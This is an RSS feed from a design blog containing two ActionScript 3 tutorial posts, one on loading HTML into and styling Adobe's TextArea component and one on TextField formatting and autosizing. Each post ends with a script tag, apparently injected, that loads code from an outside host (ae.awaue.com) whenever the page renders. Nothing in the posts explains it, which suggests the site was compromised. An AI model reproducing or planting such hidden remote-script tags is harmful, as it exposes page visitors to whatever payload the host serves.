<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; Text Format</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/text-format/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Adobe TextArea component &#8211; adding and controlling.</title>
		<link>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:31:01 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Carat]]></category>
		<category><![CDATA[Component]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[Loader]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Text Format]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=211</guid>
		<description><![CDATA[Adding the Adobe TextArea component and setting properties for padding, carat, loading html and setting start scroll point.]]></description>
			<content:encoded><![CDATA[<p><strong>Imports:</strong></p>
<p>import fl.controls.*;//text area component</p>
<p>import flash.net.*;</p>
<p>import flash.text.*;</p>
<p> </p>
<p><strong>Load html text into TextArea component:</strong></p>
<p>private function loadCaseOverviewText():void {</p>
<p>var urlLdr:URLLoader = new URLLoader();</p>
<p>urlLdr.addEventListener(Event.COMPLETE, completeTextLoadHandler);</p>
<p>urlLdr.dataFormat = URLLoaderDataFormat.TEXT;</p>
<p>urlLdr.load(new URLRequest(&#8220;text_assets/advertising_overview.html&#8221;));</p>
<p>}//loadCaseOverviewText</p>
<p> </p>
<p>private function completeTextLoadHandler(event:Event):void {</p>
<p>var str:String = event.target.data as String;</p>
<p>textAreaCMP.htmlText = str;</p>
<p>}//completeTextLoadHandler</p>
<p>&#8212;&#8212;&#8212;&#8212;</p>
<p><strong>Position scrollbar back at top of TextArea component when new content is loaded or a new section is navigated to using:</strong></p>
<p>textAreaCMP.verticalScrollPosition = 1;</p>
<p>&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Set padding in TextArea component:</strong></p>
<p>textAreaCMP.setStyle(&#8220;textPadding&#8221; , 10);</p>
<p>&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Disable carat (bar) cursor from showing when rolling over textArea component:</strong></p>
<p>textAreaCMP.drawFocus (false);<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Text Formatting &amp; AutoSizing</title>
		<link>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:27:24 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[AutoSize]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Text Format]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=209</guid>
		<description><![CDATA[Bit chaotic but these properties are always useful when adding text fields.]]></description>
			<content:encoded><![CDATA[<p>private function addTextCaption():void{</p>
<p>if(textCaption != null){</p>
<p>removeChild(textCaption);</p>
<p>}//remove if it exists</p>
<p><span> </span></p>
<p>textCaption = new TextField();</p>
<p><span> </span></p>
<p>var font:Verdana = new Verdana(); //linkage name in library</p>
<p>var format:TextFormat = new TextFormat(); //should have separate formatting function</p>
<p>format.font = font.fontName;</p>
<p>format.color = textColorVar;</p>
<p>format.size = infoFontSize;</p>
<p>format.align = TextFormatAlign.LEFT;</p>
<p> </p>
<p>textCaption.x = thumbnailWidth + textBorder; </p>
<p>textCaption.y = imageHeight + headingHeight;</p>
<p>textCaption.width = stage.stageWidth &#8211; thumbnailWidth;</p>
<p>textCaption.height =  200; //don&#8217;t need height if autosize single or multiline text</p>
<p>textCaption.multiline = true;</p>
<p>textCaption.wordWrap = true;//must be set else cuts off</p>
<p>//textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.antiAliasType = flash.text.AntiAliasType.ADVANCED;</p>
<p>textCaption.selectable = false;</p>
<p>textCaption.embedFonts = true;</p>
<p>addChild(textCaption);</p>
<p>textCaption.defaultTextFormat = format;</p>
<p>textCaption.text = imageCaptionArray[tempCounter];</p>
<p>}//addTextCaption</p>
<p><strong>NOTES:</strong></p>
<p>To autosize height do not specify a height but must include autosize:</p>
<p>textCaption.wordWrap = true;</p>
<p>textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.x =  textBoxXPos; </p>
<p>textCaption.y = textBoxYPos;</p>
<p>textCaption.width = stageWide &#8211; textBoxXPos;</p>
<p>//textCaption.height =  stageHigh &#8211; textBoxYPos;//not allowed with autoSize<br />
<em>For width autosize leave out width obviously.</em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
